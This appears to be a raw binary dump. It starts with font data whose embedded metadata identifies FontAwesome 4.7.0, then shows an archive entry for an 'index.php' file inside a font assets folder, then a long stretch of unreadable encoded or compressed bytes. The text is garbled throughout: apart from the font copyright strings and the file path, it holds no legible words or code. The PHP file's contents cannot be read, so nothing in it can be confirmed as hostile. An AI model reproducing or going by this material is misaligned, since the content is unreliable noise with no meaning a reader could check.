JJ 4   F/B NPuc]T! >9U G @V``V}~d3fTw@t(suwN5~w}+}PV  {zg  : T TR ] Ky}  H g TB 4$$G U$$ V``VV` `V  ! _Ib \;COLD|yz|ru{A0%{[k @h hn z|  r  4~~4`_`R`e9C/R&ažҦ4A'")~4 Uff ,u !55! = = T- /T {z GCC8=<<8CGC   VV  z| YY .:t: } &&T O  ' LfeNzyz# u"=1?u՗ ff YY Yff  & /]]1a }. M MY;/a3 :  t@y t gZ !5  \|\?ZEԅc*y^H(ym|[ n U t3 ZZr EQQEEQc '> 0 4 Z V``V  ~   zz3') {z4  +<<<< { .= =  C 9"TM5Ř{~~D;i ffW 4x !x! QE 8 8 8 x  i     tkRE; V``V< A 5 /  RT &    + ,  3    O >  zr^``^?*<씒   @(  S t }    X @] -   }y yrrrryy  ( yy ~w~~     [  tt |z@( Tz| }D}} RD ,l"7o''$ { 1 D     !K z{ 8T(A(A(A mt Kxxtw~ ̍t|~}: @w{tsoyx ~  R1 7 OIIgX!!gXg! fz\J$9:lA ~w]]w~ z  mm))mm)  { G YU 3- t a h N0  K m + )v P  \ t44  < A ,, , ,  T  b  < TA  F  }t.+ݭ { `T33 V @  tk rcrr   @  >  xyots{ SK(   tp  yy :  7 D$$D   nh &T* 5 @$$@! quuqqu;;uq f K< p   QE t ' rrcr 2 T STdJ,]շ49 arwwvyr/ (DB%$AΌ %  `uttu~w ccl qt= hF B 44    V s V   Ez*6z*E! !$DD$    7T  -  R  5 yy C .  @h  <<<<  o7 TT_Ld haahi`ah  /ti V H  ԫԫ  ] Tt . ;; <:Z:  3}|A  P  3C ɽ Nba] 0 $7 o"7l      @      << y}|z  i  z{ RD 3 $$ DR  ip w   EQy 1 0 fM@ jmq  ,4[  @ XtxmihbW_)  RK( t :z{ z} R%  7 tC ( t  z x x !5  x  & %y}  _gg_    *10 ˒ h   `V  m    [  ˋˋˋˋˋ 7ߋ7   K [ L z   - -      Ty  !5  z + &m/ %t~ -   \$"WT * nh ttt v    ##   h33spyrs@  "" x@8 !"""`>N^fin~'(.>N^n~>N^n~ !"""`!@P`gjp ()0@P`p!@P`p\QA0ޕR     v^  %|_<O<01h  pv_]yn2@zZ@55 ZZ@,_@f@ @(@@@- MM- MM@@@ -b   5-8@ D@,*@  m)@@   ' D9>dU*#    R     @ e  %RE    $ k(D'  % %  0$.$P/ /: /K /Q]    ^ U k "y U $ U  a y * <Copyright Dave Gandy 2016. All rights reserved.FontAwesomeFONTLAB:OTFEXPORTVersion 4.7.0 2016Please refer to the Copyright section for the font trademark attribution notices.Fort AwesomeDave Gandyhttp://fontawesome.iohttp://fontawesome.io/license/Copyright Dave Gandy 2016. All rights reserved.FontAwesomeRegularFONTLAB:OTFEXPORTVersion 4.7.0 2016Please refer to the Copyright section for the font trademark attribution notices.Fort AwesomeDave Gandyhttp://fontawesome.iohttp://fontawesome.io/license/public/assets/fonts/font-awesome/fonts/index.php000060400000000033151724235760016036 0ustar00P;(1lhԨ)YyJi|%ہ^G3nڕ ͐Dp\Yr LPt)6R^"S L~YRCXR 4Fy\[7n|s໌qM%K.ۺ, Lt'M,c+bׇOs^$z.mŠ h&gbv'6:smb1بm0"ǂ*Vc$,0ATPT1< ;`'H?sΩ:NDI$T[b4,μ」bl6 ILi}ی&4m,'#ץRwbu,K vm_-\HHH?m 9P)9J$ƽ8~;rn=$Nddn!';8'N!-Jʶ.X= ,"`: {K!'-FH #$~Z_N5VU8Fȯ%Pݫ Cp$Qrʽkk3ٷ:R%2{ީh%)8 ILK6v#,;Ц6N2hv OOt#xTBfq^#?{5bI%-WZbA ^1n5צNQY'S!t" `b3%35fv;lά9:jgf?grpx | $ eZ($w(ZrSv+ZqMݙm?&s[tSSj9?| >G,bDշ^^:l3NA`5 26LpS Aߧ/U ֘'9\Նt!l PMR9n `(@ Hy)MdM 5ԤH'ґmSuo9 1 tØuc@]KRbNv("y뽻{ cscz&p5,jn kN!.n^Uu@|?v>rUaHR ՑI DˋQ~p ܍;;nL$t : hFCYTOFNN~}1"`a(?H \u0LԵ'͔PbnmOJl?s0,8xBBF_RiZ~e#jwhOc*&F6 Yq{}?>u.4h%g`& )R5H}ˤkܩ'JOI_qOb'HǟBYEM6v5NJ ONF Nx(1:\߫Ckcb8Q d[L(el+2u-a֘d5;N$"HSFo2i"\h7IfN8qx#v 6um `NM-J\FrDZ0#'ꥈnGjLچXʌAgYs*Y^ٵ;"$hb=ϛ0vH-.D܎Yd +^{Cm,@N<.VMS+\D+R|6 'q\T9DX<$p"酦$ҷ ,psTbNkI_` FWV%w~DԐ*xiy[rZ[S%Gs`F<ㅣ V+!+؍9ykfb82s}l;[)e$Tk)v9{uut޳@E>|C<\4%Rv @׺C8\~)#k|.ao00Gq0%hp L"+>% ^MˊNsq=䦆K4r-*%h#%;pP馔hC= &)baKL@t!~2S]rYlZ63ўJoOV;h&gO5RT/}{AZ&St ͯPC0D,pbpзz) ]I>Q\Bl"^3R>r*C>xPUz}Y=̕}ж 6-`/"H o&DI0E2Xa-{5< ,}``6jiim'w5RF,ч%SYWh6L_i샣=i13YI7NCpIĔ(r0{jrKТo)l3naT1\IE(m߃Dle$ÅwXU(@Ma"n,*vG̨x>G Sg̉"Qvb0*zPEyɉ?7$ %GpdY&f!a6|);u7#34mJij oOpȁv8jx(K/ZdxŃm7V_\fL7 pXzH7-,(1KHbe,r-pL3=T2t2ټXk:Z5spSsT:.]D"@-Ȇ!A2ɶ-F}˒2BǃQ)tç|#4|\㨀`fc,#g1:-ty ]2Z~.)nj%RK(y`8C֍zK-N `^+n3ϴT3tQأ4<>:J0È%ݑZab`vͬaT/ZaޝГIi W1_>)H"p |7mF^Z~f0J^I3V!{<+OeB#BcjL\-Zh[I<qv~k]GTD?S/-%ݒ7 wi|CIqwcWx /7xHO/o]G]y߃#7b$tR$ ]a7FѮ,n!rI|28x6gSh R^^D.xMMS?漞'G#~+v4d!FyT9-fVa7hB4,2Ɖ&vTHMqp4?R\Xa<4@MiHD_ EgRyMlTؠJݮ yc"HJ, 6u/ڴyVnJn۟H\PRBd|4_$k.w™IpS$|}j9m|1ߘn9395qS|xW9BVZ!mK/Ln;iu$*t3Ͷ@}B{Yԑz2Ju@a\MR7odze7/$4]^2kh$=%1IB؃ H|N.[M\ Lb1Mg:NV._0,+,ht7l8s~IV^ N˼Mؑjك- oܮůQo[mj=rm>~z4$M}z sh""u7V{RûݦO-D9V٥gIʎKLg۶BTP'K̦ qW֒3ep&ےLhpNaS w &;e(,-7vx-w$WnXUt8Y?KMctY؃p*Շ-БfL|[nL }4{5頠3᧌ n$$,+DNԄ-HV>HOs\-;W6NM8Fi;7k26%֒a],:!ʲڽE,{U nawNg.I9r:jFbKΨf)*cG5-kb6UЩpZMO`$WDyA߻[4aJ?fD?=d(KD䴱:D/[#$A #KH.:x?%Vr@[B$}coS6`LPfM&ɔA<:vÚ Q~Pw[+`+j V+R*ul!|+'KY66_ud}_[yuۘjo$Y=yjRi)bԋLaD(XUwIڻZ$7ڻ9&4Z'DF[N]~dD?VQWͲ}vS>Nm+SqHaU!ΒWb_+UO]^l59 @1'A^mo:9ףs-N:tD-zkSja4rczFۻ ޿xv7[äC8#7p5+ ~*bJJYzֳw+-p/LL[cgnlcaPHF$}9`\ 83Ym1b>~ƽJ؂ϏyBs="f(zKM"H`wcEd:b86(9<clݘ/kg G^ESE)5G_^k߇ v̚}T3;6 WvTCP_k._eєNJL{T!6j>h0 #[㗚Kz,!32:6d>himE\=H Z+{6@Wʯ&lC',rX !8(\̭2-P8h@C4 <~Z7j%) eeFpZ'15 ^6B3nco#~²qR@!ա z^Ks]T@TNT ,S*@7CīɅLiQN, #:RѪj91-YPN¿\&yL8ӹ&0cvƉ\JA;Q;]IM8 sMf?԰Irr!K9я8p}Q콍g-*sm~XP0dM^?DdIm8eCN}cà٭$s7ۼ#յR{b4vMql)vOճjְr1f4cs_%v%lKZNi+V3'~NMG@HBb+vVFq@ݱuKZhp@E0uaSXdUK}ԯ8GXKiI% uR)EI-ږ8|1GΞf6Ȁ=!KF6Qf[X~_j\^͋^k`DsG]~㤛yo};+i%N}Q0ԥUu)M[Z`"7 ?/[C{l)$Mr|^ a:"֊a l>hya{2>CPL j?ntg]S{UӇ('b'fg0ӃLPAMtd)2úY!v&`o2P[ aޔ5 S|#+7J #ȸ_dU6#VDB"K|)otkl,lU)ݹe5OyUAt2_ n53e*1v(K_HvVʉ3},ACUƍ؂Cuti-]`7]R !zsNt&̉̄k)SL̹y7$ϥDJNd"9 31 IZ(^( lw6 /@YB^}OT~9cc]{)}D8${yc,ʤ{tAW3zHImD4ܤUT3dID) I۬.d~[ -K^2Zc 8u,Y^\_ԁ_+cJ$\2:ZW bBw=[1'NYVz4;(fzNUf(p֙!x#L=#ŋThnba˳",T\o!@@sN%| tXj j Qo5oeF)o 9˷:h*'cJ孏[{ȄNfnz]8F/|1v g@J:YնNu:dhHo tM`R̍Ri:|N_P"B@ m`a:M  c2Ũ<ؓUOS\%a\Ap ꄯe\A.̰{wǿ~6 ;s2ŋ`W`TyPgee0 00}/ǔ;h[tGD5^E#hȍ:f? u3z0ڎ$T^TAhz x I{5'rK zo l֢,b89-:G|W)bA5G<*ٕ:ğ!]gj~O&UN뢹8 g ]-WW(WNI3Ngr3|m m'=[n힬M,?$HDD-O?5uX]˓37>*wg?*!JyT@ UgzI_7&\tH.YZ(4Y'd T Fs-qya7 [67K&J/$c/x[ᶏ;Īz1Fv]G'ڏQBSOІ$y(TS-;hűzT%Dts"=gwUuD?b$Zr9G<&Ña^2_Be;b~փ)Ό2j r8]'7 bChTd )+ mD).51-|Yy*oڤL 4A她= T@|X$in.KI|R@P@P*ak@ ۟=I =l[ג"hX0QҜf˒펖c<#9`|cO}$o>eX<`,o_K3 p{YAn[9M T(!"?Z]iEm Ğ>'{Gt *~y`'A?٘#)o($ȉەLvYO1o_& .mv!*)$zmrt(:GGbeVwi$CO1 cZZ0G 7z@Jy~p)g,gYL.$, -<k{yc*02/q1gKM&R<7xCy[Mʛ #ͺDya3\wfwrFĸM] \NsWݍd<ӡW064tȴvȻ0>ԯ ; )f#* 2<h ~'Bw mH/wqMog C)̵67#BS>_-[L|RRlQ}\TH) 9Fa"^bA:ݳQ4' =sO '@.Y&8z ,i73y;U}p/I  xVxilFZfhXc.b B*|&|ge/kuv\_Hb dpG/A}㬬'xȜՋ;E !Wj{ZI$z{Op;x=׺q{5l23O =@jj# GYTn>&ެ#CBϩzLuylSaa0LTv3,2 sdTrU}El1z`Xa*h{qiuU\"Lд@TXRUFg]sE5V0X/ukzB'كJx Iz7YΕ1tyΚ_}|xm[xJ}zlDVrcsdsqv[&`oUl?<jC! OeqB=J\`Lr孈d1MhowѹKiģd*;^ҋ$xHUU`]GkCꆂOQSCwo g~yG8P{{H.$6!}d4,q>`llUMBRPe2A1RHqlBQ$W%bhBÚV@(?FAQ}dl+bNIMdT"+ƌo0`89\|5 ޣئ(y jqm(<\G 2dTP0$n@ Ē!X 㺕Nkճxikiݝͨћ"0?^2XF,{sr_e@Vyg N_iwq;XED\b1G(RsT<\ډQ2tT ; `[,AkKbDl#b8,]i\|kCxLq~r Ά>|žBab?aag30( j"FA*{ߣd]ř+XHzs ZSLu:˅)ҲnJEBnS>Ħ mh,RT~}9, /.H~!`ExOۖ mwIl꧴ёUzzk**|m* .?~ chp?eY]*H|̛1e?V; ا 2PQVlW6m5O3'^x,ҹa)TeUs10ft9T{!L@OLtǽ!^L!ti ^:CR K ?2TYx۩Fq#0 <hѭ)kesaTl x9d%+b8XZ ;gv8 n7ϻa&^ob{w OO7jϯزΞ,~WYػqÎzVoλg'5("ե AӃ[:P|Ӓ+>#2?$MndueSJ%e؞~Uq ޳҈zRnп,7˱>` /uFgOg)PJ\)Xk VF"\tr#wE]s:Y#n8 Lm"6D VġH`Q ௢үQkG ]<2N?U &|a_G܏}di!:`Ⱦ[\,Y]JϹߐì~OA%> ]2Pl5pOѐ[ʀ4O@¡,Ҭ-,4X7-#?3{M·C18aY)M"ka_=4JqM?nh6kɜP  2;3 g4ՍZЦөGZk(m pv riZF}i:/czPuVQ9E&'/ v<2ۊYQ)j.HN11sʗ؋{ '|klT%1ꪋCgQUJ['Uֶ̝ؔ{81 rnҹ} :,й6X7fe' NM2p|4p6Vn듁p&S=[- ߞ~NjIY/c`YAq6-Y30#V~hsEPT;ub6WD#N1o>)ΘCx4$/jl1 y./,Rr[YE*GЕKm/|7 SISƗqF㍹6:cVs @w+k1caíw0 :Y5Q" +g"%*2t`Gݴ f:hN33^~yө)o)l*H-;+|+[-ZGXf~Meb75[ Ho}pi8;`$7~Yw4RypJs}!*Yf~W]TKV0Fyl$"\AE?W ,[b0q.|xZ/ˁ]P*4$*(R7L&`goTܑ.$V̇hULHnei_"o߁e*mbD2u{ݹш ߶\ؿZDܚ vz1UlRl-wk2VxՑ;؀400=ԑx~޽ګ o2RmԔ=_rZ&ן/߸([C{%b[f.\l$}VچU*B3lRPf d'GLc[dN %C9X5h _ cҠW?+`ރχ#CBW'B~cb 5~}`AE((r{2me5 t>`vd, p*=ϕƼ' o$ݥ;f`̢tɟJ$HZKԊk+LmR21,qF p̹-J%b=gV^y~׼0~-Pת{ƛB2XZ?oG!xn.}%}Oo _?bJNv$bl;z`&Kx^]"d+g eI2 B#(ijNN>SwF W |b WoW^\q?1>BL/=iR,cykWZ)BUkjy4XK, 3 F9pKuշ q@OAvyG4.,m#D"^ѣ8lQZ1C\4oJܨ힊dD6h[|L]V~.:0z*HX,Ͽ7zUQNe.7$:.0֣Mj9g {2ڬCO墸N٘@.W1Dz[[M%V5r!4&Ur s7%yNJ(?nYm"TCMmr.ݴ{bSNT]*}v`1^HvNoUۆAS6WOىe [(B͝to1bϫZH{~N}Vˋٹo<>#oTFD"%73.(?f]`!1%UqL:蜧ϸ|@8'+VWu۠0 } +T/Qnl~c{pa=V:#vm~1t 0SPH]/jg/!{/c jh[=U@ʍqIg6Mmq%Y8dc`"Xt>"{riPO?0=/9FnV}OY[՜"I {GEz `)ӇrOoKY꺧S4;L'>cN@8 ʋ{삕zb8_xV(X"]ΔěM6w,fgf+͜)TJUt> -]z}o*mGŶ1S<۵&:QzHjljL F,aY"'LˬɴbJp{6իh]m E= ~fFvE`EWinux8!GVY??7K^+[2%_mwsZMZ?vl9fO {,'9/} T}6VzôvU[dT,_uVE+B:xaY.L4rP1"nj[)Xs54 4sS6 {(,kW :Dm3/ T*z'1o'3ow|Ћ=Y< aDm?F_Y3f^Lff'@&M7F0{GTB/fzqc].L.In^Wk(hc!Ȝ|%?%\6Qn*0''Whĩ=ŝLCgR񛙌9V玫؛AӚTQyč&i٣hQJ,#|d驺z|yYH{FI%ORD&k' (kͷ_uXT4JotǠ`X l/-ԩ TBIjԛ/ Jn0,ħXBUHhFe% 6% /:&zLldKT ^Gv͊SA4:DIʯ< !.1?nTzhԓ尵 ZBCnI~+sm8T=f!c(KHSH7!LS.D4$~]ٴaGsiK7"dϸ}|{ܰQ7r-ŷzRaV]v4t2-讨YDیS@%_B(FHke%&5='jF,GoW9;(ڤX3z`fM<~1bR6t0luFIj˯JoIqĴ(cǘU@Ѣ#e&Vy( {̧KuWKeZ ^>(wDI߹}x ƺ5gYG22& sσ!q\ CP%U fbS'HLbi,sF67߼D g̣oGa)jS-&>7yCCΖi]MR A0 KfF=z ggtf7Kx [ L^.[ԭ>Zc736c͗qw*CCV<])E9)ϛ0lSM.$bASHib%zqݓV޷ʀ7+8{ \HAZ#[80* r[-swnxP+HElY./k6wKb?88GI. ur޼l9Eiޜ`"ƃȇ˺&vIբu*J\[^enQ%j ?{nW+1 ZC $3!6/SG @4ΌE!Rd8hg?J~u? ZiD4K{j%)'xMaYvkEt,lc:wXk||2$.Ey=x*-LM_xC{t4.<Pr͙s1/N8uu.ӿS_rj]\av^sQ ZŜ-DuSg6{${r25>, hcbJ֊?${ouo>ͨvCl(N9ߖQ]}3( z^)(Үe}E1\pB(yf̷HY/HI;,q«=d&T<)3SfV1ړ'vhD n$4n'r}b0DxoV UJgIN}4/|ߥ\$My"j}jib!NӽSBvC9wp7}5q2ѪҴUÍ,鼁I};Y͜ȝDJm[Osޥ$FlX~=/_SLJ&^( qwv# ꒎.P:bBfV2qgnٙ l8VӅb0aG-OTlO=AfWO׭OJ{̑Ͳg k:I3*zA$̊kP `nFGx)GRPE%5\}3۵RuuW-2G%voMk xBuFN7ׂkV)12dB!4 . N8O,f2TiV udLzyug’;Ks'^y+7UUOBж+$%O9elե*c@Fc6ggMU_~1fvV5 -V 0 )_D{Գb1#Q|k9=?Pocs$&}BoWT"M =Dy$,IN,چ wIxE6xnCC-,ϕ̲Y :y~ʝ،=Yc,TxeqUk*OTq\E*/ؒ/NSUf:b?īHt$ٶUfudH"$2kQ /WiXNx r6_y{?2ڽC~{u8|܁Sf+{30`wbcCQ+zƪ\T-{]ξ6Ѯc?8Z~|&eD9qW2R,Y+y<`OwAbz6|]:qZOVgM̥ickJ0=,4,am"RC#,c fZ6RcGŢ:)e eIr6.Z;P+O)$\wIV(h`z{%fpxl }onr 7%ӧ{ xm1oВiq JO'V!"=$ ї4KS+&Zۙ'憥Y^e~},x'"so߮d߽}{.kTJY;ffjKVB+jqMWL"e/׶߻YfxwI:kIq.DzdLWim]ɗ] f)B{lֻ`j~ކ;ā;~7-zAX'tbWO.$GS0Ra#QPO|P[ %`C)c"ͽdD1xp_s*5ac]܎*t]8Ju׷uO աH>hLkq7gR2,ʪZ]|$CZm qX LrSKb홞%H/w>G9(|vvNnNvX N Ѐ`p+{(u\ sQp ݨ3q\͟$ﵧ;QSřz[jl 6n 8DT}㔨PE %BWحYw.!/^mdSZ~j=*Qgd⨎0t]q-.PJBp1 ثatl/ypq{~TOH6 uNwY| AVrwDh4Kk+ /@ @OJZB1[?l{JՊq9PvoY6CJ$H`7Ei)*eK؂Y8{V)b pNv/A%;uh(w̃l}*4y|uV:&*P;LQg*}OW;xT!F[ o l*KKUvܼƌ٫NY4$Gd+3$KVZF&FuRj.GNۖ5ƴrevvvȬ2MC[)|eGyb{)ڻ.I{l1CesZthɻRæGp7?(dW^=  &fV͞iϟ\G6$$uP=ou87[%>`<.$MtӗB)GjSQUd`S"3ɽ}MױT th?7]iEHzş|-tdۑ,:Dj7lD6٧-+}ZU4^xOݼfQH U;"I{)1Z.@2󄖩b+qzV s^>V[ŵ-5v]蚮c""f\߬<ۋcy#Qj6dr#ȑJ4lO(yN}$m [-|Ԉ*S\ќ臉@ @ ie'm'q$s'B੻Ad).* _y#z_Ы_{_a_=+䊒ӌϞ'Pܺw GJl.rqZvD(DCG&Cر!=ǣz4v($;{2 @iǘupcE  hh s> L^fڻw TWޟR /_IĦM'B.,P-Hj)%PDp2^^w`K֫KPa>ξ﫥jϨg)KSټdGFYG$X` 7%ҀcKQO"BաB'^.`";GleԒO^l:Q>45e=[7$z iF\*B'ǝA koMFc3|Ӭ%v>!]€'! }:xi/xcR^WICz_`~cVFvf]5OnC?ҷ79']/g}փiUIȃOt̒?k:[>TSiE<7E-N ؐw;mDu[z+9g_PO$UYN[#jI&3\e4n)Rvcx/VC?Kg{GX"b(6 ʛ| RrI&-Nձ*?2BpEYP [.r?gOh/%lROE f N=d&u_qb? X°f:J/ }?(u6P"L~iV-g1YBg  }HK24鵖r)ۡ#|ti@@JR[k xcE^I2߸dVoqPkZa2H/=(c[lW%icXchPq6cM? }iShRm]6;?'B}gMmǞCj,vԱ>G+zYl?Gܦ*{.m7AT^1D";RUr"bhlqw$/gyRmZp%0Bϝ#4b\q0n N]M J},QrQ*ͯA\')yz'KdخDWdi@gzu'1\}^qI<>e^h)Q*lzBl? gGZ0`~9/ie+UrWWs6 g*D}zyn+ህwUӋ։fG%!L[#"h2fmh|Fqb}*H#znV˴]xA 1mk ׂV|=@=OBzPd5Vrl$ZՄ88^Ϗqp(:A6J5PY2 èV'Gpe᝭\hjp1awʓSA$|HE#7ч|p* `D]ZB-\6iWẍGGG׮~YJT7Mq^#0õqb0KVot[ Ֆm^k k-dpݟ^ Jd3ݕFFTϺۗ9o\S8qk"σxL_:PLh0!iˌ{8:zE  Oy/Иl ,)GqQR`\ J>[ip&Հ@ $:Q8Bt:@`{>'aޝu99'LcиđHhd͞YGf/ N=Sf0T;WJ& I 231kÉr`}A̶d@ \q-9(B,vѣALXqH[!f-t|nPΤR^bGOf=+hWD;Kfx1^ U]3@jK8{V. "k5hG¾pC鹒*6iS+пu4495dj+ KkNqBM++?{2MNJVu90$#dV/,) Ak0Ƃ^Fߛn<%Jvq$d @ww?Rs D1F-_E1}zcƝZh[$&DWx&fe% ~) ~XLt˛҅JK//(F[ KY=;ؕb~$Vd]8|bJ):v 3RRQ}˺O kUP}SV xsQro3z2F'֯nN?{"]1B+յ ;* eO]-N~2̜u%l(Zb9Mh]Z3')9#>*%)V`leY.5*D~- d5JZ!QӦ^fP/fj TXX&(f!Ý^g/j< /륃S'J֓5V^ ߟ^m{2; 0i7$&⩵ӵXEOSx5DZيt"hv_CS~A$<@ f\;Sa)6C_Ί g0(4i-k< #5t\CCh> ;!` 3-6htD]SeN }}"#Qn`F:>79$lVe~̈Ja%q~ܣ˴^lC f+/ eBa<' \*FC;|c ڀNf!L2i~<[ p&ѕAknnr틧n&fvnjn-25(!rC~D"`\T'j P`0iO͚Fkrfuəکj\'3!BIElQ?m12pQe>RwتD.ۋ XN#'Njjо4!tK_fR!@棼CJ-jaH* Np@wV[; ➄sqHlڜA?y "j!<U?hk1oa޻e8S1Н䋄!9hI B 9Ko_([f0o! 31C;XIh$ɀ禹@@0Wl ]&)s64wY3c.Mg ^1Oqs#Ms3ZNLMi} 9U~x~{$6FɬQEi2WvYF AVl VDXer(ZeͰ3)\t5\^"rШs wP5f7NK$f^q{"L]z`@DQh6f~hG5uU7G~ .#3P TV!nژPf6Չ>l6 9@Җ5Ϛ62t@7 L2  t'ԯbHԼwWfɊ7=.=bx %d? a 9epHҩ K\ۏ$C%0 ntv:M`᳑Basp& )"-qc @Ibk3ePF8ZmUL((qP05n'CVijɿX?qg^:ӛ[[PV8 6=Iɉ(cG@Lb!ll8߬MvvVbq~/%Ii҂ϡ֣T=!BPS:muvPsϥ;Z|s,G:pHgVuZR>f@e⋮@F<6Ͳ.L /)X 3"LN>^m w'>\C]9b Jn)snt__xEKD B $gYAV>g$%L0L#{&ΝFtd\P=a4 8"<ܝsL^^NEcvH-_>֋;|+c! 8O/.规Jn8&,%st]6( kH6 Fq#(ۉ[y{0(^ ֿbףŬ &fzCqI<Μ$((h\EDCc_x/E.:i^+Ο1צ҂Ji4@`lxNL$搘6T.?4] X1h|}g8<1Ȥ< @K// 5pלotpa jtbE Ey&Ц4`د$L"Jvi ljZ%=')8e`8T*M8.w~\(Htv r"jDoGG ilHe%ia&9dd>-i lMܰTA$VHG| $ :1R s\Z $Pjۇ]ًg8`簆 zߒVXݕxrtX/Ap2^[1~R{뚬ɇ:kCU'5n%'CXP06Gۮl[<NscOFeQ-gi$RNo7Wz _t"?z6y/H}ё{qL$ -a[st nSn2ğ@ѷxHNp2& 3 fx) WP'h7f> s!;p&QcN>OgdHE1u {^گV}2@JHS>!~L^d r5/GyNW-`ɚLJ=(RV2ȏM;:-A0<Ȥ L1L~.ܤkgLinNdu'f]BsLA5ShKvvn-_e9eV"mB:GΫxcZX oyHKgT~cN¸OZK:bA%9C ]oʗw1)(t^?uƦ-A99NلL#A2Yu5/_=fqljއˡ?uArZ]AX _vM1V&P\6X2m7䥱[lҏ'AQ6R S Q}딭SeS\D-wLrTC]ӎorly݂XJ^fo - ˰(X3R>\# 9VP饘QՐۑ,aeX#*gVTnqGL(Z)oMi!#ZH.$ɀW\p*ȶ /.gy 9L2p(#Z-)ijjԭ=0b`n0a]k2I)XE8fnDη%8CS.oěNg'dp-J=aYɹبNkY Ե=fNH^f<(|E(SL\>u4vdN~HN[nDeh/ڈ(21he_ʔQnV=CHEgi~%B15czŕ v >aY%e&c!pIB 8г]~A-l641/[\\Z I T4Waa8'lxRYNej3:-:G6vad$$`M,ܔCz3!q1]Ӌn#xBl]K^t_@YugSk]OƤ&v:NaLewɋ-hY}:xi O x|+^ñCq%]{[[q" x@LupՔj -[=ئ\ ejq[%^W'Hjyc%J8Imx=C/].&w4D,Ƙ3"z`U |M:3Qc!_ǣW(WjqS#f(G4GޗI>nڄE٩^˗nHG[M'C&Ǹ'orUmNݾwJ?6\AbGNzŽ2qXDIa'HVT으Et|G3( oOtrJls<;3)YQ`gw8"o&7>cѭ^@& tT}g$}0hh)GTsy4r o MH; Φw~| !( ad" -sQg#,1M|/uhR-.k$GK,݅1a=aYPA,q%! ONzvN6^>ƬAvJFӽ) /ުl̒B3GM'[,n\\kѣ m1hmo>!jM0C <埵ߎ\`K|_xN`ǀpWJ jHLM<_=CM@Wޅ%ꉷdžf%Mnp Z3@>'Md Y,BTuJ:o>b^չȑދGx_W`H "=ϟz&=@%ӌHqixDHXxjꄯK |@QTP+:uc}ОT B5ڨ81hȩaFuXLc[nNרxtNDX*N8s7|2 R{>}78.GyՂOg#Qq'g fKY`9h2„6$} (T?}A`78LHFRG EFJXw!SKr@EKa2'ʌ%v[؟[7SFjj[5hMt,^i#Coq§ZeteWip_t^*>VlhZQjXB㨪9q7@'[=eH+^їa/G6z<6)yжDHwFv2nF)%d.)ەP6^÷r {hj)ϰy"T㝼jMUd΂Mݱ[Dg4{+ݝ:<9qAw L}A=£6۠evAu+U_Q3f?R\0R R^ ,VwW2`A vG<9 4nX;? ?*uV0{[4"΂,qӼ? p}_gKB_ %_g=Ih|.ݥąV^1䓺0 "{7ms9ꛦBNIpi{ ]J :My%uGVց kkpyjp:G]Z$0 _N+M7Y2l @x6q 459OТ}Trf52k t߲}pU\ursVlתa޲ }Vm~3gm,\7m}-*,EHq$Yx=E_V'CRiND9/ Cbx@8`2I̪,!f݄nE8b+Q2쪘CZ^?GVf砱(BIe+9: A  v4RBH zѳy|x֣W?EtFOܔc=1E$V(T} rY!HhQ!.F/ dիG0;j86t 8y QG/Za3= O_ؤJPגIRsZ=|ڼA##su曻;..tש:KIT'6m7":sbqyL@Z,Y bg,n{O;]ɪ!_"=cӺdij2GBX$|i!*nT%;*^3/cEs4CwLj})<(YpHwW^HL- vpđ@wПp̹UK>1뷀L˾f0pΎ=_! 9q[ƭt-c\ @q]CAJpPao|ylN{F*3FxLTv0ԛV,jHA(\xxtP R^Sh"HJn#_p.$s2iB{TuZK t\LI%* P={b"UQ"VR} >Z ŊNVݮ-Jh σ ^ ;FQ,*+""00):;:VP8*e(7Jl0oHe^Ɗy%`4Y[eX}6KJ˩^#<ɝI_/23-@l4`P=K&=.)՜XvLfo BG]ޮ+؂PyInV`k-~SddcU.gƗ' 1N0P!ίH]Hf[Zx\. +\_4bOv#v!l,x<DxIN-Fe,/\mdPyIrǐ&$GKKև1qzG!A38̍97U;ȴVeg ݌LΐotpR# AD䶅)m"ǛX!-ΜaR_});;6П(o:֔qC^Ǖ۵A=zOb d~hzn/J~ǪŤzS,JJ#2ŭi Z~_{c]obR:v:?e? tZ]ָՠgժMk&zzq%UCW\Yڻes7ivZdTVQC$mČki wƿ#;̋ %yG8@5:yq)|⌬N=Bց^\S8]]?{rW[-+Wq)^2-KK0g4LҼ&OSPdŞ-m>nxQyY崎byCQA)BD`<`7%f"Y>ШG]T}_T,a^&xԠ,v4EpW¶SANⅭgj)&d 5 4($sDBݦxOhXQLw`qnPsTs'@Tz,2J*njވ4_}3יjҫ-%i POF?kjS#G'p1Jmba[2?kKq!@-^Y97*o0iMl=ߺ(7g_ǙWأ.. pk #c]@qos]vKi]C+K6 -/'S{VF#pƦuO&gzutxeL.vsMfџ@/)uA)0!۽)/Y_$mU?S^ GqVċj.vUH0mǕ*3bt3($F#PhzZo\d沠pmL~L jbmmK qsN"Q_Qh9 -㳟CUџO=ކy5 YkN.eui#uڒࠠp *!C_߻3Qpazmg- -k 8Z莧YPdM`TGhѤ]:dVNvcW:w|kҁ.:ӫOڑsw pT %z΁ه*0) A&3PPQ_i.-Z!%Ttf3k״+f6 6mPяH4ׇ2 umMCͥpm*Y˭9_J[.9&,rHi߃8Ʌa[Nnx J#u:nY}lzӮ^Y;zӉ1`7zv/_眓{='T `Jټ]ȇU)K{v[՝y`-0-?^[mSƐ=O#_DqqmR0) ibJ}I克WTm Aj/bYFNGuc\:i%fU,pIp ^yBcx2 Vb6Nd ٍәTlW{tĈT{S/QYK7#pQcGogQG?e<tJ83YިF^:̊|ʚ8`r}QhF4뢺j":k2;k.,&zTIFTy=K;pr$Ѳ8f_TIV[[ź`.N0U8IY D57o- !mv9\/KR!6 b\+'Ie/aFzͷ{P|w4ej-t۠^\SK+'JRSf4Ԗ+e"Ӄj\ʌE.>p!\B}vچN!"fR0rG߻* /J6Mn~}}<olϸpf%n~WXUlA!ˍ!ӫ8iD*z3@EYoJNC8f,R ƏmwE(iwLe7xЬ2Lz B,'\n@Oޤl os4PcXY }tp- yC&z Z`7)T)0jJׯ$7 ۷oUckwY;8>+g6w&$>ނu> VZJg˿=>Oi]@QYOƽ AIN%F(Y99JC4Q@J9u3p=0A1 ,^>(HRBxLԇj-ap37ubNV4|u砋ale zJ@5yCQ@RRqO¼p1Bj*O|O ,0߰ʹн,u Hs5IJR(+FL?Fh#~J1 p)O"-Jq Ƀ7u6(ۄ!P@>Á1 &'s3هX,9Y|sACEvp|̺%37_*xC8 <"'"G!£V볩s&<6D-mttzq5"mJ}_(^m'Vs۴F>}*sVӇ"m9oq{o! <]w@a#aYY}i|#r\I _ߙW+"푎Nܞ0|98ֽ .yfnsˡb~p*5E#s vN9>cQG!Ú8Њy6& -2~Q[aṖо)5_[z_itb(߭O=C/ P4? 